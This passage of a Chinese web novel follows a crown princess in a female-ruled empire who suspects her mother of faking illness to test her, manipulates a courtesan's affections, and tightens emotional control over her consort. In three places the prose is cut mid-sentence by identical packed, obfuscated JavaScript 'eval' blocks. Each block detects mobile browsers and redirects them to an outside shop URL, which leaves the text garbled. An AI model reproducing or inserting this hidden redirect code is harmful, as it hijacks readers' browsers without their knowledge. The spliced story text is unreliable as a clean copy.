“年轻男子期待爱情很正常,但就算你再羡慕人家伉俪情深,也不该想着鸠占鹊巢,把原配挤下去自己上位。人家娘子并非忘恩负义之人,也不愿攀附你这个权贵,你任是手段通天,却也抵不过人家意志坚定,胸怀坦荡!”
他是公主,但人家赵大人却并非陈世美,从来不曾隐瞒自己已有夫郎之事,也做不得杀妻灭子,忘恩负义之人!
“皇夫宠着你,这后宫这么多小侍竟也都惯着你,任由你把圣人之言都学到狗肚子里去了,长姐如母,如今母皇既然病了,那孤自然会好好教你。”
“男训、男戒、男则各抄一千遍,抄不完也别惦记着嫁人的事了。好好抹抹眼泪,别把脸丢到外人那里去,然后就回你爹那儿去!”
15. 伤过的心究竟还能信谁
顾承乾一共就一双弟妹,妹妹生的晚,今年12,还在尚书房里读书,刚教训了皇弟,她自然又想到皇妹了。
她叫承乾,妹妹叫坤仪,取乾坤之意,也明着告诉她,应遵循长幼之礼,恪守人臣之仪,这也是顾承乾不需要担心有人和她抢位置的主要原因。
但那是以前,她现在倒是有些拿不准主意了。
“皇姐?!”
顾坤仪今年虚岁13,脸上还挂着几分婴儿肥,又是皇帝老来女,养的精细,还带着属于孩童的稚气天真。
见着已成家的长姐,她当即就想飞扑过来,但一抬脚,步伐却是不急不慌,先和旁边陪同的几名少女说了句话,几个小姑娘远远的对着顾承乾行礼问好,在原地等候,只有顾坤仪一个人走了过来。
不过刚到顾承乾身前,那装出来的稳重就破了功,兴奋的挽住了姐姐的胳膊,看得出来,她想掩饰一下脸上的笑意,但偏偏越是想把嘴角压下来,嘴角的弧度就越明显。
两人一同离开尚书房,余下的伴读才各行其是,陆陆续续离开。
这一辈需要读书的皇子只有顾坤仪一人,没有其他适龄的皇室宗亲,和她年龄相差过大,于是在朝中重臣中择优挑选了几个女娘入读尚书房,所以她倒也不算寂寞。
“皇姐政事繁忙,怎么有空来接坤仪?”太女再侧,其余来接人的侍官自然只远远的坠在后面,姐妹二人得以单独说话,顾坤仪也稍微放纵了些许,显示出孩子气的一面。
“皇姐自从要准备娶夫,就好久没来看我了,我下学了去找你,你也总是在忙,后来我不去找你,你也一点都想不起我。”小孩子都喜欢和比自己年长的人玩,更何况顾承乾本就早熟,对于可靠的姐姐,顾坤仪下意识的就产生了依赖。
前段时间顾承乾没顾得上她,冷落了小姑娘,小姑娘心里委屈,抱着一些有些幼稚的心思想着报复回去,却不想人家根本没想起她,就更加委屈了。
再联想到有些家里有哥哥的人,会说男子有了妻主就不和家里亲近了,她虽然没有哥哥,但有个姐姐,这么一联想就越发不安了。
如今姐姐好不容易来看她一眼,她又委屈了起来,嘴上怪罪着,但挽着顾承乾胳膊的手还是紧了紧,像是怕她会生气着离开。
顾承乾侧头,看着妹妹尚且年轻稚嫩的脸庞,心头微软,方才那股莫名的烦躁也散了大半。她抬手,拂过妹妹额前略有凌乱碎发,声音放缓:
“是皇姐不好,一直在忙,竟然冷落了坤仪,皇姐和你道歉。你看,今日皇姐一得空,不就来接你下学,弥补这些天的冷落了吗?”
“所以,坤仪能原谅皇姐吗?”
原本只是小小的抱怨一下,没想到竟然得到了皇姐正式的道歉,顾坤仪按捺不住心中的喜悦,先是装模作样的思考了一下,但很快就彻底暴露了,迫不及待的开口:“好吧,既然你都说了,那我就勉强原谅你了。”
“但是老师说过,知道错了就要改正,下次可不能再犯了哦!”
顾坤仪这个年龄十分富有观赏性。她已经不是太过年幼的孩子,所以不会太过活泼,让人生厌,又一直在宫中由皇帝亲自教导,没过多接触外界,所以心思也不深,让顾承乾也罕见的高兴了起来。
“是吗?坤仪这么厉害啊,把老师的话记得这么清楚!”顾承乾说话时刻意夸张了几分,哄得小姑娘心花怒放,但偏偏又要装出一副毫不在乎的样子。
顾承乾实在没忍住,揉着她的脑袋,把头夹在臂弯,光明正大的笑了起来:“既然这么厉害,那皇姐考考你,看看我们坤仪功课如何。”
“好啊,我的功课一向是太傅夸赞的。”听得此言,顾坤仪立刻把脑袋抬了起来,挺直腰板,脸上是藏不住的骄傲,还有几分跃跃欲试。
“那坤仪最近都学了什么?”
“今日太傅说,为臣者需恪尽职守,但若是皇帝不仁,失了民心,民生艰难,就要推翻她,另外辅佐仁德的君主。但我总觉得太傅说得不对!”
顾承乾心中微微一动,面上依旧不动声色,拍了拍跨在胳膊上的小手,神情温和:“哦?为何不对啊!”
“当然不对!”顾坤仪理直气壮地哼了一声,仰头看着她,“就是仁德贤明才能当皇帝啊,就像皇姐你,是因为你仁德聪慧,所以才被立为太女,将来继承大统呀。”
“母皇是明君,皇姐也素来贤德,所以母皇是皇帝,皇姐也会是皇帝,怎么会有人想推翻呢?太傅讲的过于狭隘了。”
狭隘吗?
未曾接触外面的世界,被母亲护在羽翼下的幼子格外的天真无邪,逻辑简单直接,满是对姐姐的维护与仰慕。但这话听在顾承乾耳中,就完全变了意思。
“推翻”、“另辅新君”
太傅为何突然对坤仪讲这些?
是否有人见母皇病重,便心生妄念,觉得她顾承乾过于强硬难以掌控,所以想在坤仪身上投注?
坤仪年幼,若有人不断在她耳边灌输“仁德者居之,而太女无德。”的观念,天长日久,难保她不会听进去!就算坤仪本人无意,也难防有心人利用她借题发挥。
又或者,是不是有谁的暗示?
谁能暗示呢?
一时间,顾承乾思绪百般流转,生出了些许无力感,但她知晓这一切与尚且年幼的妹妹无关,嘴角努力勾起一个弧度,抬手轻轻弹了下妹妹光洁的额头:
“小小年纪,想得倒多。太傅讲书,只是让你明事例,知道若是遇到了这些事该如何,又不是当下发生了这些,可不许乱说话气太傅,知道吗?”
顾坤仪捂着额头,脸颊鼓起,显然是依然坚持自己的观念,但碍于姐姐的威严,还是乖乖点头:“我知道了皇姐,我只跟皇姐说,皇姐最好了~”
“哦?最好是多好。”
“这么这么这么这么的好——”
顾坤仪松开一只抱着顾承乾的手,用力跳起来,比划出一条比自身手臂还要宽的弧线,这或许也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774106|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大不了多少,但已经是她能划出来的最大的圆了。
“既然你都这么夸我了……”太女有一瞬间的发愣,随后收起发散的思维,把注意力又放回到顾坤仪身上,语气一顿,小姑娘神色一紧,就听太女缓缓问道。
“想要什么奖励?”
对于一个无忧无虑,每天最大的烦恼是因为自己是皇子,所以每天检查课业都会查到她身上的小朋友来说,她想要的还能是什么奖励?
一是出宫,二是出去玩,顾承乾自然并无不可。
顾坤仪欢呼一声,抱着她的胳膊蹭了蹭,夸赞的好话像是不要钱一样,放个普通人,怕是要被她吹捧上天,但顾承乾的心思却全然不在这里。
如今的太傅便是昔日天下第一儒,顾承乾的恩师,当年皇帝于天下寻觅各行良师,凭借盛极一时的名声、以及见面时的惊艳的风姿,隐居山林的她成了太女第一位老师。
她原本在山野间为幼童启蒙,不愿屈尊权贵,后来被她母皇诚意打动,这才有了太女太傅。圣人拱手,说的就是她母皇为女求师的场景。
在教导过太女以后,太傅又感慨于她的聪慧,愿意留在尚书房,教导其他皇室宗亲,成为一桩美谈,但如今或许是物是人非了。
她的老师是觉得她做错了什么,对她有所不满,还是说……
是母皇的某种暗示吗?
“她真是这么说的啊……”
东宫书房内,顾承乾神色晦暗不明,面前的晓昭自刚刚复述过后就站在一旁,欲言又止。
“臣去的晚,只隐约听到胡尚书说坏了陛下好事。”
太傅姓林,与林尚书同宗。即便晓昭没听全,这些只言片语也足以证实,胡尚书和林尚书都知道她母皇是装病,那在早朝的提议,就是二人的有意试探,而太傅也姓林,又试图引导顾坤仪反抗她……
顾承乾无法说明她现在是什么心情,纵使之前就知道她母亲可能是在骗她,可她却依然不相信,拼命的寻找能够证伪的东西,但现在似乎已经确证无疑了。
她骗她,又让朝臣试探她。
至亲者至疏,天家何来亲情,她不早该料到吗。
顾承乾猛地攥紧了拳头,指甲深入掌心,带来尖锐的刺痛感,暂且压下了胸口翻涌的情绪。她们想让她妹妹上位,想要推翻她的储君位置,却也要提前问问她答不答应!
让她拱手让出储位?让她眼睁睁看着自己十几年来的刻苦勤勉都沦为一场笑话?
不!
凭什么?
她行得正,坐得直,处理政务殚精竭虑,自幼刻苦至今,自问对得起自己的太女之位。凭什么要因为别人的试探和猜忌,就否定自己,狼狈退场?
她们越想看她惊慌失措、看她出错、看她不堪重任,她就越要站稳,越要做得出色!
母皇不是想看她如何应对,想看她是不是忠诚,觉得她有野心,想让妹妹取而代之吗?
那她就好好让她们看个清楚。
16. 积极的太女殿下
最近,太女的表现有点奇怪。
兵部尚书:“殿下又去校场了?这都第几回了,就连我那不成器的闺女,都被殿下打趴下三回了。”
虎母生犬女,兵部尚书的女儿每天兢兢业业练武,回回武比倒数,在兵营从来不会主动和人比试。
就连这种货色都和太女打了三回,想来是其他人都打了个遍,最后她不打也不行,可想而知,太女殿下究竟比了多少次。
林尚书满怀欣慰:“殿下勤勉,监国后越发自律刻苦,此乃国之幸事。”
“那是自然,听晓昭说,殿下寅时便起床练武,日日如此,从不懈怠。”王侍郎有些唏嘘,“便是陛下年轻时,怕也不曾这般刻苦吧!”
辰时上朝,寅时就起,若是一天两天还好,但一直如此可不容易,更何况还是太女这样尊贵的身份呢?
几尚书齐齐点头。
可不是吗,王侍郎年纪轻,或许只是一句感叹,不一定真觉得太女比陛下勤奋,但她们这些老大臣可是再清楚不过了。
陛下年轻时实在算不得什么好人,是个顶顶有名的纨绔。
开始争皇位的时候,都以为她是个闲散亲王,谁成想她在治国上那么有天赋,竟然赢了其他皇子,不过也因为这件事,搞得她和当初关系最好的大皇子,也就是如今的晋王,到现在都没什么来往。
当然,主要是晋王觉得自己被人当傻子骗了,所以单方面的跟陛下老死不相往来。
不过在陛下当了皇帝以后,也确实是个难得的明君,但偶尔偷点小懒却是免不了的,本以为太女也是这么个性子,不曾想子不肖母,太女竟如此勤勉。
欣慰啊欣慰!
其她尚书对王侍郎的话表示赞同,只有林尚书关注点不同,袖子一甩,面露愠色:“王侍郎,为人臣者,怎可妄议君主,更遑论将殿下与陛下相较!”
她眉头紧锁,觉得同僚们实在有些口无遮拦。
对于林尚书扫兴的言论,王侍郎有些不耐,但碍于林尚书是她的顶头上官,又不敢表现的太过明显。
“一句感叹而已,尚书大人是不是对下官过于严苛了。”
岂止是严苛,堪称找茬。自从王侍郎升职,到礼部任侍郎以后,自认为在政事上兢兢业业,最多在私下里和师妹有些小争执。
但自从上次被太女罚了以后,也没闹大过,实在没有什么可以被人盯着的必要,但偏偏她这个上官不这么认为。
不仅平日里对她经手过的事要求更高,而且还管她下朝了以后做什么。
前些日子在怡红楼碰到了,她甚至不顾自身脸面,过来训斥了她一番,实在无理取闹!若非是顶头上司,她断不会容忍至今。
“细微之出,亦可见人品性。为人臣者当恪守臣节,何况你为我部官员,更应该严格要求自己。今日议论君上不加节制,安知她日会不会口误,在别国面前妄论朝政!”
“小节不守,大义何存?毋因小失大,以至于日后悔恨无门……”
今天的林尚书依旧滔滔不绝,王侍郎越发无可忍耐,一句玩笑话,怎么就上纲上线到这种地步。
还小节大义,她分明是还记恨当初在怡红楼自己反驳了她的事!明明她下了值也不务正业的来了那种地方,不然焉能碰到自己。
对己对人两种标准,好生可恨!
面对王侍郎的愤恨的目光,林尚书本人也摸不着头脑。礼部与其他几部不同,担上了一个礼,那就必须要守礼,不然又如何能主持礼仪,为天下表率。
王侍郎是礼部侍郎,许是会接手她的位子,因此林尚书本人对她格外关注,想着揪一揪她在礼仪上的错误,这分明是好事。
两人之间的那点心思,户部的胡尚书看的一清二楚,笑呵呵地打断两人对视。
“哎呀,林姐姐莫气,王侍郎只在私下感叹一句,她一路升迁过来,你看她何时在公事上出过差错!”
胡尚书打着圆场,对着王侍郎挤了挤眼睛,示意她少说两句,自行转移起了话题:“殿下这般奋发图强,定然是监国以后,发觉自身责任重大,欲励精图治,此等雄心,吾等也应当全力辅佐,不能落后才是。”
“如今吵吵嚷嚷,相互争执,又如何能辅佐好殿下,如何对得起太女殿下的日夜操劳啊!”
胡尚书这话在理,林尚书这个老实人有些羞愧难当。
几位尚书都是皇帝装病的知情人,特意被叮嘱在朝政上适当放手,任由太女施为,她们只需从旁辅助,所以她在朝中也当了许久的哑巴。
陛下这一场病也确实效果显著,原本就风评不错的太女干劲十足,每天双眼一睁就是练武,然后上朝,紧接着就是批阅奏折,巡幸军营。
听说晚上也没闲着,八百太女亲卫也常常夜间操练,然后太女还要和太女夫亲热。
纵观历史,勤劳到这种程度的太女实在罕见,而她不仅碍于陛下的话,没有为太女分忧,甚至还在这里和下官争执。
老实人老脸一红,全然忘了她本来是在教导下官,一心觉得自己有愧天恩。
君子可以欺之以方,当真不是虚话。
王侍郎看了看胡尚书,又再看了看掩面而对的林尚书,一时间恍然大悟,觉得自己好像打开了什么新世界的大门。
而武将们想的就简单了。
程将军大手一挥,声音洪亮:“说得对!殿下有干劲是好事,总比罚……咳,反正哪儿都挺好,我去跟殿下一起!”
程将军也有自己的小心思。
已知殿下发她们禁闭,下了值要么是回家抄书,要么是去军营练兵,但去了军营也是滴酒不能沾,不能和姐妹们一同品味香醇甜美的果酒,那人生还有什么乐子可言。
虽然她私下里喝一喝太女不会知道,但既然已经知错受罚,那就该怎么样就怎么样,断然不能行哄骗糊弄之事,她这么大一个将军,怎么可能为了那点口腹之欲,就做出这般小人行径。
但话又说回来了。
太女巡幸军营,都是要带着好酒犒赏三军的,那她跟着去了,如果不喝就有点不给太女面子了,所以肯定是要意思意思喝两口的。
那你说,她喝酒的时候想着只喝一杯,但别的将士们要是认识她,非要给她敬酒,再跟她谈两句,问问当初那场战役的细节……
咳咳,她不是为了去喝酒,只是因为想去军营陪殿下。
这么一想,程将军越发急切,匆匆和同僚告别,看着她匆匆离去的背影,胡尚书摇头失笑。
往日都是一下朝急吼吼往家跑,偏偏从那次和太女一同出行后,每次都磨磨蹭蹭的往家走,想来是太女的惩罚狠狠地踩到了她的痛点,让她着实安分了不少。
但看现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782831|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这架势,她好像找到了缓解的办法了。
胡尚书擅长识人,看的很准,而其他几位大臣对此就没什么反应了,依旧议论纷纷,讨论起太女从小到大事迹,言语中多是推崇,对她颇有期待。
不过,身处话题中心的顾承乾,却并没有出现在她们猜测的军营中‘‘’’。
怡红楼
昔日热闹的小楼已经闭门十数日,牌匾也被红布遮住,听说是被人买了下来,以后不开青楼了。
有人可惜这些正是好年纪的小郎,不少青楼主动来招揽这些小郎,只不过这主人也不知道是不是和钱过不去,人也不卖,门也不开,一天天就是闷头装修,让人疑惑不已。
此时,太女这位财大气粗人还傻的楼主,就身在此楼中。
说实话,她心情并不算好。
对着男暗卫呈上的密报,太女眉头紧锁,翻了又翻,却只看到了柳意安分守己,专心打理怡红楼。
男暗卫她是信得过的,正如同她新人晓昭,但柳意这么老实,她却有些不可思议。
竟然如此沉得住气?看来他所图甚大!
她或许真的要和他好好周璇一番,让他放下戒备了。
“殿下!柳意能进来吗?”
雅间外响起柳意清朗的声音,晓昭并没有开口,也不知道是柳意擅自主张,还是晓昭没拦住。
不过这都不重要的。
“进来吧,日后在怡红楼里,你不必与我通传。”
当然,只是怡红楼里。
太女自然的收起几张纸,仿佛这本来就是她带来的:“让你回到此处已是委屈,就不用再同我客气了。”
柳意眼前一亮,像是不在意一样随便挥了挥手:“为殿下做事,哪有委屈一说。”
“你是好儿郎,出身于此本就非你所想,好不容易脱身,却又因为我我回来,如此情谊,孤都记在心里。”
太女认真的看着一个人的时候,会让人生出一种错觉。她好像十分在意他,在意到眼里没了江山社稷,只剩下面前这么一个人。
柳意有些失神,话就这么不假思索的说了出来:“柳意不脏,只要殿下不嫌弃就好……”
“柳郎极好,是孤之前对你误会太深,孤和你赔罪可好!”说着,太女一抬手,竟是作势要拜,柳意连忙制止,情急之下拉到了太女的手,不知怎么的,径直倒在了顾承乾怀里。
四目相对,太女缓缓俯身,柳意闭上了眼睛,静静的等待接下来的事情,但他等了半晌,却什么也没发生。
他疑惑着睁开了眼,正对上太女含笑的双眸:“在害怕吗?”
害怕什么?
柳意疑惑间,额间覆上一道温热的气息:“别怕我。”
她吻上了他的额头。
尊贵无比、不可一世,仅凭一个眼神就让他颤抖无比,不敢直视的太女殿下珍视的吻上了他的额头。
想到这点,柳意只觉心脏猛地被攥紧,随着一阵天旋地转,耳边传来了剧烈的跳动声。
是心跳吗?
柳意已经完全丧失了思考能力,迷蒙之间,自然全然看不到太女几乎并未隐藏的冷淡。
不会是心动了吧?几句什么都没有付出的情话,装模作样的珍视,好像有那么一回事的尊重……
不过也好,这样他才能真的放下戒备,不是吗。
17. 全然掌控
西郊。
程将军兴冲冲地赶到了军营,却扑了个空。校场上只有士兵在操练,哪里有什么太女殿下的影子?
她随意拉住了一个经过的士兵:“殿下呢?”
“回将军,殿下今日还并未过来。”
竟然没过来!程将军顿时像霜打的茄子一样,蔫哒哒的垮着脸。
她那么完美的计划啊,还没来得及实施呢,就宣告破产。
她悻悻地揉了揉鼻子,心情郁闷,索性既来之则安之,好好指导一下这群小崽子好了,毕竟来都来了,总不能白走一趟吧。
一波未平一波又起,好不容易不需要被太女操练,现在又要被程将军练,想来将士们应该会很开心吧。
——
谈起军营,那就不得不提一下沧溟的军事构成了。
首先是第一梯队的将军们,包括可以单独带军、骁勇善战的,诸如程、傅两位将军。
然后后是第二梯队的,皇帝亲卫嫖姚骑。紧随其后的就是边疆守备军了,以及各处重点关隘的守军。
最后就是各地官兵,以及各种将军的亲卫,各位大人的守卫,以及太女的亲卫,不过后者是私人豢养的,所以一般不做统计。
当然,除此之外还有数不胜数的民夫了,他们负责为军队运输粮草和各种器械。
嗯,既然都说起这些民夫了,那就不得不顺便提一下沧溟男人的构成了。
无论是哪个朝代,哪个世界,总会有阶级之分,女尊自然也不例外,放在女子身上不太明显,总归是能靠读书、参军、经商甚至是娶夫改变命运。
但男子身上体现的就很明显了。
有些男子天生体格魁梧,加之常年劳作,越发健壮。然而,这样的体魄却难以激起女子的保护欲,在婚配市场上几乎无人问津。
嫁不出去的男子没有继承权,也不能拥有土地,不仅生存是个问题,而且还要面临孤独终老的后果,很多悲悯仁慈的女性们也很为他们难过,但也不能勉强其他女子是不是。
于是大家想了个办法,可以为他们提供适合的岗位,比如说一些修河道、筑城墙等工作岗位,积累贡献值不仅可以挣到生活用的钱,甚至积累到一定的程度,他们还会获得一个嫁人的机会。
当然,随着社会的发展,这样的男性越来越少,毕竟物竞天择嘛,不合适的基因会被稀释,而且他们的母亲会有意识的帮他们保养身体,不至于过于强壮,这一点在达官显贵身上尤其明显。
像是太女夫就是十分完美的男性形象,温和有礼,皮肤白皙,体态轻盈,会引起女子的保护欲和怜悯心,但又不会过于瘦弱,属于是穿衣弱柳扶风,脱衣健美有型。
作为被讨好的一方,确实是很爽了,尤其是顾承乾这种从另一个世界来的。
“殿下!”太女夫一脸惊喜的迎了过来,太女伸手拉住他的手,二人相携着继续向前走。
“今日怎么没去皇父那?”
谢青珩今日穿的是青色的常服,颜色清新,搭配上同样简单的发型,清爽的打扮衬得整个人都雅致了起来。见太女问起,笑容又重了几分。
“皇父说殿下最近越发刻苦,让我早些回来为殿下分忧。”夫凭妻贵,一荣俱荣,一损俱损。太女越是做得好,后宫里太女夫作为太女的贤内助,就会越是得皇夫的喜爱。
“倒是殿下。”谢青珩的声音上挑,带着明显的欢愉,侧着头看她的时候,眼睛晶晶亮的,“殿下今日怎得回来这么早?”
他的言语里有几分试探。那柳意就在宫外,虽然太女看起来没有收他的想法,但他为殿下做事,殿下出宫难免见他,若是……
面对太女夫的小心思,顾承乾只是淡淡一笑,指腹在他手背上轻轻摩挲了两下,脚步未停,牵着他继续往前走:“事情处理得很顺手,便早些回来。怎么,不欢迎孤?”
“怎可能!”谢青珩耳根微红,立刻出声否认,又偷偷将她的手握紧了些,“臣侍当然……当然是很欢迎。”
太女夫也看出太女刚刚是在捉弄的,不免对自己强烈的反应有些羞涩,低眉顺眼,不敢抬头看她,只偷偷摸摸瞄她两下。
还好周围侍男也早就识趣的离开,并且打发走了一路上都其他宫侍,现在只有两人,所以便是太女夫做些不太妥当的事情,除了太女,也没人可以看到。
顾承乾垂下眼眸,感受着掌心传来的温热,只觉得心情舒畅,似乎这几天都烦闷,也被这难得的温情驱散了些许。
“便是孤从柳意那里回来也欢迎?”
太女没忍住,特意说了些这样的话来逗谢青珩,有些想看见太女夫可怜巴巴的样子,而太女夫也确实如她所想,面对妻主有意的刁难,显然是有些不知所措。
“我……”天底下哪里有人会喜欢把自己的妻主让给别人,但他是太女夫,他要端庄贤淑,要识大体懂进退。
那些自幼听着长大的话几乎要脱口而出,可话到嘴边,他又想到了和自己夜夜缠绵的太女,想到了私下里相处时太女的举动。
太女也并非那样循规蹈矩,她似乎很乐意看到他在私下里做些出格的事情。
而且……
总之,他莫名的不想在殿下面前装模作样,不想只当人人称赞的太女夫了!
“臣侍不喜欢,臣侍不是一个合格的太女夫,臣侍不想看见柳意,他要抢的是的妻主,要抢的是我的天!”
“但臣侍知道,他对殿下有用,所以就算殿下去找了他,臣侍还是会高兴。”谢青珩轻咬下唇,眼眶微红,认真的看向顾承乾,“就算是殿下真的把他纳入东宫,只要臣侍还是殿下名正言顺的太女夫,只要殿下还记得臣侍,那臣侍就永远开心。”
顾承乾侧眸,看着他一副心满意足的样子,心下有些复杂。
她对柳意是全然的利用,最多抱着几分‘看你还能做出些什么’的好奇,但她的太女夫呢?
明媒正娶,记录在册的太女夫,百年之后要和她葬在一起的太女夫,她确定,自己就算不爱他也是有着几分喜欢的。
这很正常,长的好看,身份名正言顺,而且性格也是量身定做的,他纯粹的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785898|189849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依赖着她,她完全的拥有他,也掌控他。
但她总觉得还不太够。
“谢青珩。”
顾承乾停下脚步,指尖挑起他的下颚,强迫他同自己对视,脸不断的向他逼近:“我在问我的夫郎,不是在问太女夫。”
“我想知道如果我真的纳了柳意,纳了其他任何一个人,我的夫郎是怎么想的,他真的高兴吗?我不喜欢他骗我。”
太女这些话代表着什么呢,她只把他当做自己的夫郎,而不是太女夫这个职位,她把他当自己人。她几乎是在引诱他,来吧,如果你说你不喜欢,没准太女就不纳了呢?
来吧,是太女在问自己的夫郎,这个时候你不是太女夫啊,你只是妻主的夫郎啊!
在太女强势又温和的禁锢下,谢青珩挣扎再三,最终这十几年的教养,以及前半生全部的规训,终于在这一刻短暂的瓦解。他的心被完全、毫不留情地剖开。
泪水滚落,他脱口而出:“我会恨他!”
“我也会……也会怨殿下!殿下明明都对我这么好了,为什么还要把心分给别人,我会很难过,但我不知道该怎么办才好。”
话音落下,他自己也愣住了。
这样出格的话,竟然真的是他说出来的,他竟然如此心胸狭义,这般的胆大妄为,一瞬间,谢青珩脸色瞬间苍白。
而顾承乾呢?
她用拇指拭去他脸上的泪痕,动作算不上温柔,却给了谢青珩莫大的安慰。
就算是这样,殿下也没有讨厌他。
没有管谢青珩的愣神,顾承乾轻笑出了声。看看吧,看看他脆弱的、可怜的样子吧,她心里涌起十二分的满足。
就是这样,他不能仅仅是被她影响,他应该完全的被她掌控,他的喜怒哀乐应该完全系在她一人身上,哪怕是塑造他性格的前半生,也不能越过她去掌控他的情绪。
顾承乾拭泪的拇指停了下来,转而用掌心轻轻捧住他一边脸颊,迫使他直接迎上自己的目光。
“我喜欢你的坦诚,所以你今天晚上会获得奖励。”
谢青珩迷茫:“可我不是一个合格的太女夫。”
“虽然你心胸狭义,忮忌他人……”太女微妙的停顿了一下,亲吻他眼角泪痕,声音轻的不可思议,带着几分蛊惑的意味:“但你把感受告诉我了,不是吗?”
“我说过,我会教你怎么讨好我,我是你的老师,你会拥有更多的机会,比别人多的多的机会。”
她的指尖下滑,若有似无地划过他脆弱的喉结,最终停留在他的心口,隔着衣料,感受其下剧烈的跳动,用力戳了两下:“你应该会继续听孤的话,对吗,太女夫?”
顾承乾满意地看着他因疼痛而有些发抖,却依然下意识的把胸口朝她靠近,眼中的挣扎越来越淡,迷茫渐渐消失,最后安静的依偎在太女肩膀上。
谢青珩把头缩在太女肩膀上,眼神迷离,他好像有什么话忘了说,但既然忘了,应该就不重要吧。
“都听殿下的。”
他从未有过如此心安。
18. 谁还没点儿过去啊
谢青珩终于想起来他忘了什么,可惜此时为时已晚,他已经被人堵了个正着。
“皇姐夫,你有帮我问皇姐什么时候带我出宫吗?”
下了课的顾坤仪带着侍男来到了皇夫宫中,太女夫面色一僵,不敢看她的眼睛:“太女殿下也公务繁忙,让小殿下再等些时候。”
“好,有劳皇姐夫替坤仪传达!”太女监国,自然要以国事为重,等有了空闲再带她出宫,所以顾坤仪没有怀疑,大方的行礼谢过,随后就翩然离去,举止言谈颇有几分形似太女,让谢青珩越发羞愧。
这都是他编造的,太女其实没有想象中的繁忙,更准确的来说,她这几日还算轻松。
虽说常去军营和将士们同处,但到了也并不需要她做什么,也就是比试比试、聊聊天。倒是苦了晓昭,为了顾承乾的想法,每日在怡红楼那边忙的团团转。
怡红楼的装修不难,一直不开业主要是因为要重新教导里面的人,再追根溯源,看看能不能找到他们的亲人。
都是娘生的,又哪里舍得把人卖了,以前打仗,百姓生活不好,但现在打完了,国家也好起来了,有些人想把孩子赎回去却找不着门路,甚至有些直接就是被拐的。
要是别人买了小楼也就罢了,全当做不知,但偏偏是太女买的,即便旁人不知道,也不能掩耳盗铃,自欺欺人才是。一国储君,未来的国母,理应泽被万民才是。
这表面上的装修和教导都可以放心交给柳意,但这个查户口以及打拐,就只能交给太女本人最信任的左膀右臂来了。
是谁呢?好难猜啊。
晓昭每天两眼一睁,第一件事就是拽着刑部的人到处跑,先把京城的那些人牙子查一遍,然后就是去抓人,每天勤勤恳恳的不说,还要去怡红楼问他们籍贯。
除了自己累,还多了一个好男色,非良配的名声,给她父亲给她物色正夫的路又加了一道坎,原本早就商量好的大家闺秀,又对她生了几分疑虑,还好晓昭以往风评不错,好歹是没有泡汤。
可惜,干活的是晓昭,挨骂的是晓昭,但勤勉刻苦的人设却是立给了太女。
没办法,当臣子的不就这样吗。
晓昭告别母亲,再次离开了家。好在太女的名头很好用,刑部也非常卖力,一路没有阻碍,进展不错,很快就能把京城里的清理人牙子清理个遍了。
而在西郊,程将军也终于逮着了心心念念的太女殿下。
太女殿下和她想象的不大一样,既没有严肃的训话,也没有大汗淋漓的比斗,相反,她有些随意地坐在一个粮草包上,身旁围满了年轻的士兵。
姑娘们席地而坐,额角还带着汗珠,似乎是刚刚结束训练不久,一个个眼神晶亮的看着太女,时不时还相互推挤一番,争抢着起身,和太女比划着说些什么。
“殿下,您不用听她们的,问我一个人就行了,我在北疆长大,别说北狄了,大大小小哪个部落的人我都见过!”
“殿下别听她瞎吹,她十三岁那年程将军就胜了北狄,她和她娘一起入京,她能看过什么。”
“你……”面对兵部尚书长女的合理指控,对方一时语塞,愤然指着她,但又偏偏没有什么反驳的话语,周围熟悉两人的将士们已经开始起哄让两人打一架了。
众所周知,兵部尚书的女儿偏偏最不擅长打斗了。双方明显都慌了神,好在程将军及时出现救了两人。
“哈哈哈哈——”程将军嗓门洪亮,笑眯眯地凑上前,“都说什么呢,最了解北狄的,不应该是本将军吗?”
“程将军!”
“见过程将军——”
“殿下,程将军最了解北狄,殿下问她最合适不过了。”
见是极其熟悉的程将军,将士们也没太约束,程将军自己也不能没个架子,就连有人要起来和她行礼都被制止了,挣扎着互相之间凑近一点,给程将军让了一条路,让她径直通向太女。
她一战败了北狄主力,论起对北狄的了解,说她是第二,那就真没人称第一了。
“给殿下问安。”程将军脸上挂起得意之态,顾承乾对她挥了挥手,示意坐下,于是她就喜笑颜开的单腿曲起,准备盘腿坐下,屁股还没落地,就又听到有人说话。
“程将军最近是不是总来咱们这啊!”
“不知道啊,之前不还说将军看上了个风尘男子吗,怎么没去找他,难不成人家没看上她?”
……
不知道谁无意之间猜中了一半,这让自觉丢脸的程将军一个没站稳,‘噗通’一声倒在了地上。好在她本来就要坐下,所以摔倒的也不是太过明显。
